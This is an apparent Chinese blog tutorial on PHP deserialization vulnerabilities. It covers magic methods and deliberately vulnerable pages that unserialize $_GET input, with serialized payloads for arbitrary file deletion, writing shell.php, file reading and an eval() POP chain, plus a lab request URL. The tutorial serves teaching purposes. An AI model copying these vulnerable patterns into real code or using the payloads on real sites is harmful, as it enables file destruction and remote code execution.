PHP反序列化漏洞

这篇主要是学习介绍php反序列化漏洞基础。

一.PHP反序列化漏洞介绍

序列化和反序列化的目的:是使得程序间传输对象会更加方便。

序列化是将对象转换为字符串以便存储传输的一种方式。

反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用

在PHP中序列化和反序列化对应的函数分别 为serialize()和unserialize()

反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参数可以被用 户控制那将会是一件非常危险的事情。利用参数输入恶意的字符串值,造成漏洞。 不安全的反序列化造成的危害只有你想不到,没有他做不到。

所以说0day漏洞,基本一般半以上都是反序列化漏洞,像php,java,go等语言讲的都是面向对象,而你面向对象里面就包含了类,你只要有类,就可能存在反序列化漏洞。

像一般的反序列化漏洞,可能就用了几个类,可能能检测出来,但有些就是十多个,几十个类,根本想不到,同时反序列化这里,全是字符串,没有很明显的攻击特征。所以说像防火墙,态势感知,全流量设备等安全设备,检测0day基本不可能。就算检测到这个,也是因为跳板机去攻击其他终端,服务器的时候,攻击流量,才会抓到这玩意。

二.什么是反序列化漏洞?

web应用为了方便对象的传输,会将对象先通过serialize()函数进行转换为字符串,然后接收使用unserialize()函数将字符串转换为对象的过程中,由于传输的参数过滤不严格,恶意参数能够接触危险函数,导致服务器被攻击

三.条件

1.恶意函数参数可控

2.有反序列化函数serialize()

3.需要找到自动触发的析构或者魔术函数

四.魔术方法

(1)__destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销 毁时执行,当对象被销毁时会自动调用。

(2)__construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用。

(3)__wakeup():进行unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法,可以进行初始化对象。

(4)__toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时 就会调用。

(5)__sleep():当一个对象被序列化的时候被调用,可以设定需要保存的成员属性。

这些是比较常见的。

五.简单的通过PHP中的代码来讲解序列化和反序列化

这是一串基础的php代码

1.php

<?php     
//定义了Stu这个类
class Stu
{
    public $name='yy';
    public $age=20;
    public function add(){
        echo 2;
    }
}
//用new,给这个类声明,就是对象
$a=new Stu;
//打印$a这个对象
var_dump($a);
 ?>

这看起来很像一个数组,不过对象是比数组多一个东西,就是函数。其实对象也叫做超级数组。

介绍完这个之后,我想要让1.php的对象传到2.php去,不可能直接将上面那玩意传过去,数组都不是这么传的。数组都是先变成字符串在传送过去的,在将字符串转换为数组。这里对象也是这样,1.php先将对象变成字符串,再在2.php中由字符串变成对象,这里我们就用到序列化和反序列化的函数:serialize()和unserialize()。

修改一下1.php

<?php     
//定义了Stu这个类
class Stu
{
    public $name='yy';
    public $age=20;
    public function add(){
        echo 2;
    }
}
//用new,给这个类声明,就是对象
$a=new Stu;
//将$a对象转换成字符串
$str=serialize($a);
//打印出来
var_dump($a);
echo "<br/>";//换行
//打印出来
var_dump($str);
 ?>

{}外面的含义

O:object缩写。

3:我的对象名Stu,占三个字符。

“Stu”:对象名Stu

2:表示成员属性的个数,name,age就这两个。

{}里面的含义

第一

s:代表字符串name。

4:代表name占四个字符。

后面含义也是这样

2.php

<?php     
class Stu
{
    public $name;
    public $age;
    public function add(){
        echo 2;
    }
}

$str='O:3:"Stu":2:{s:4:"name";s:2:"yy";s:3:"age";i:20;}';//接收传过来的参数
$obj= unserialize($str);//反序列化操作
var_dump($obj);
 ?>

 这样是解析了的,这里我并没有使用传参的函数,便于理解

三.反序列化漏洞的实现

1.__destruct(),任意文件删除漏洞

第一步认识这个代码过程

<?php 
class LogFile
 {
 //日志文件名
public $filename = 'error.log';//可控的
 //存储日志文件
function LogData($text)
 {
 //输出需要存储的内容
echo 'log some data:'.$text.'<br>';
 file_put_contents($this->filename, $text,FILE_APPEND);
 }
 //删除日志文件
function __destruct()
 {
 //输出删除的文件
echo '析构函数__destruct 删除新建文件'.$this->filename;
 //绝对路径删除文件
unlink(dirname(__FILE__).'/'.$this->filename);
 }
 } 
$newstu = unserialize($_GET['stu']);
?>

 解读:

定义LogFile这个类。

里面有一个属性filename,名字为error.log。

第一个函数LogData,参数为text,存储在error.log中。

第二个函数__destruct(),删除日志文件,当我们的对象销毁的时候,就要执行这个函数,当这个页面的代码执行完以后,就会使用这个__destruct()函数,销毁所以的变量参数,包括对象。

用newstu这个变量接收传过来的字符串,通过unserialize转换为对象。

//可以控制这个unlink函数。因为这个filename是成员属性,是可控的。

现在如果我传入的是LogFile这个对象的参数值,意味着,在执行完这些代码之后,由于文件名缘故可控,会执行__destruct()删除我们指定的文件。比如说我传入的filename参数为2.php,在这个页面行完之后,会执行这个析构函数__destruct(),会将2.php删除掉。那是不是,我可以删任何的文件,只要知道文件名。

第二步copy这个代码,构造payload

2.php

<?php 
class LogFile
 {
 //日志文件名
public $filename = '3.txt';//我们想要删的文件名。
 //存储日志文件
function LogData($text)
 {
 //输出需要存储的内容
echo 'log some data:'.$text.'<br>';
 file_put_contents($this->filename, $text,FILE_APPEND);
 }
 //删除日志文件
function __destruct()
 {
 //输出删除的文件
echo '析构函数__destruct 删除新建文件'.$this->filename;
 //绝对路径删除文件
unlink(dirname(__FILE__).'/'.$this->filename);
 }
 } 
 $a=new LogFile();//定义对象a
 $str=serialize($a);//将对象a转换为字符串
 var_dump($str);//输出字符串,用于后面输入参数过去。

?>

去访问一下这个页面

O:7:"LogFile":1:{s:8:"filename";s:5:"3.txt";}//payload

可以看到这个3.txt文件已经被删掉了 

重新创建一个3.txt文件。

第三步:通过访问1.php进行删除

http://192.168.2.29/1.php?stu=O:7:%22LogFile%22:1:{s:8:%22filename%22;s:5:%223.txt%22;}

2.__wakeup(),任意文件内容写入漏洞 

第一步认识这个代码过程

<?php 
class chybeta
 {
 public $test = '123';//写入的内容

 function __wakeup()//攻击点
 {
 $fp = fopen("shell.php","w") ;
 fwrite($fp,$this->test);//向shell.php中写入内容
 fclose($fp);
 }
 }
 $class = @$_GET['test'];
 print_r($class);
 echo "</br>";
 $class_unser =
unserialize($class);
 require "shell.php";
 // 为显示效果,把这个shell.php包含进来
 ?>

 __wakeup函数的文件内容是可控的,自动触发条件是有unserialize。

这里可以写入一句话木马。

第二步copy,构造payload

<?php 
class chybeta
 {

 public $test = '<?php phpinfo();?>';
 function __wakeup()//攻击点
 {
 $fp = fopen("shell.php","w") ;
 fwrite($fp,$this->test);
 fclose($fp);
 }
 }
 $a=new chybeta();//定义对象a
 $str=serialize($a);//将对象a转换为字符串
 var_dump($str);//输出字符串,用于后面输入参数过去。
?>
 

O:7:"chybeta":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

第三步:通过访问1.php进行输入参数

 3.__toString()

第一步认识这个代码过程

<?php 
//读取文件类
class FileRead
 {
 public $filename = 'error.log';
 function __toString()
 {
 return file_get_contents($this->filename);//任意文件读取的函数,filename参数可控
 }
 }
  //反序列化
$obj = unserialize($_GET['user']);
 //当成字符串输出触发toString
 echo $obj;
 ?>

第二步copy,构造payload

<?php 
//读取文件类
class FileRead
 {
 public $filename = '
shell.php';
 function __toString()
 {
 return file_get_contents($this->filename);//任意文件读取的函数,filename参数可控
 }
 }

 $a=new FileRead();//定义对象a
 $str=serialize($a);//将对象a转换为字符串
 var_dump($str);//输出字符串,用于后面输入参数过去。
?>

访问2.php,得到payload

O:8:"FileRead":1:{s:8:"filename";s:9:"error.log";} 

第三步:通过访问1.php输入参数

没有解析,不过可以查看页面源代码,看到内容。

4. __construct和__wakeup联合使用

第一步认识这个代码过程

<?php

//这个类的test参数,不可控的,除非new ph0en1x(参数)。
 class ph0en1x{
 function __construct($test){
 $fp = fopen("shell.php","w") ;
 fwrite($fp,$test);
 fclose($fp);
 }
 }

//这个类中test就可控,这个类中的wakeup函数,可以启动ph0en1x这个类,并且参数可以控制。
 class chybeta{
 public $test = '123';
 function __wakeup(){
 $obj = new ph0en1x($this->test);
 }
 }
 $class = $_GET['test'];
 print_r($class);
 echo "</br>";
 $class_unser = unserialize($class);
 ?>

第二步copy,构造payload

<?php 
 class ph0en1x{
 function __construct($test){
 $fp = fopen("shell.php","w") ;
 fwrite($fp,$test);
 fclose($fp);
 }
 }
 class chybeta{
 public $test = '<?php phpinfo();?>';
 function __wakeup(){
 $obj = new ph0en1x($this->test);
 }
 }
 $a=new chybeta();//定义对象a
 $str=serialize($a);//将对象a转换为字符串
 var_dump($str);//输出字符串,用于后面输入参数过去。
?>

O:7:"chybeta":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

第三步:通过访问1.php输入参数

5. 利用普通成员方法

第一种

第一步认识这个代码过程

<?php

//调用ph0en2x这个类对象
 class chybeta {
    public $test;
    function __construct() {
        $this->test = new ph0en1x();
    }

//调用action
    function __destruct() {
        $this->test->action();
    }
 }
 class ph0en1x {
    function action() {
        echo "ph0en1x";
    }
 }
 class ph0en2x {
    public $test2;
    function action() {
        eval($this->test2);
    }
 }
 $class = new chybeta();
 @unserialize($_GET['test']);
 ?>

首先可以看到这个危险函数,这里面,test2是参数。就算写入一句话木马,这个也无法调用执行,那只能找触发点(触发函数)。

 class ph0en2x {
    public $test2;
    function action() {
        eval($this->test2);
    }
 }

就找到了 触发函数,这个触发函数中test属性可控,并且ph0en1x()类也是可控的。

 class chybeta {
    public $test;
    function __construct() {
        $this->test = new ph0en1x();//这里可以理解成
public $filename = 'error.log',可控的。
    }

第二步copy,构造payload 

<?php 
 class chybeta {
    public $test;
    function __construct() {
        $this->test = new ph0en2x();//调用
    }
    function __destruct() {
        $this->test->action();
    }
 }
 class ph0en1x {
    function action() {
        echo "ph0en1x";
    }
 }
 class ph0en2x {
    public $test2='phpinfo();';//构造攻击代码,传入chybeta
    function action() {
        eval($this->test2);
    }
 }
 $a=new chybeta();//定义对象a
 $str=serialize($a);//将对象a转换为字符串
 var_dump($str);//输出字符串,用于后面输入参数过去。
?>

O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}} 

第三步:通过访问1.php输入参数 

第二种 

第一步认识这个代码过程

<?php
 class chybeta {

    protected $test;
    function __construct() {
        $this->test = new ph0en1x();
    }
    function __destruct() {
        $this->test->action();
    }
 }
 class ph0en1x {
    function action() {
        echo "ph0en1x";
    }
 }
 class ph0en2x {

    private $test2;
    function action() {
        eval($this->test2);
    }
 }
 $class = new chybeta();
 @unserialize($_GET['test']);
 ?>        

按照之前的步骤,发现不行

与第一种不同的特点就是protected 和private,由于这个两个的存在,你在制作payload并使用,是不能成功的,是因为浏览器对它特定的。

这里用抓包工具bp来观察,抓响应包

chybeta":1:{s:7:"*test";O:7:"ph0en2x":1:{s:14:"ph0en2xtest2";s:10:"phpinfo();";}}

看看它的16进制编码

*号两边是00,这里不是截断,而是一种保护格式。由于这个00存在,浏览器可能就会将这个00给丢掉,这样的话,这原本的含义就会实现,这就是为什么,没有成功。

所以为了不让它丢掉,让它url编码,为了更保险起见,先base64编码。

在代码中加入 $str=base64_encode($str);

再用bp的Decoder板块

在通过url编码去访问。

总结:此篇只是讲解php反序列化漏洞的一些基础,帮助各位理解序列化是什么,如何实现的,如果需要深入学习,就要有很好的代码基础才行,需要不断摸索,各位加油。

国家安全,人人有责,只用于学习参考。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值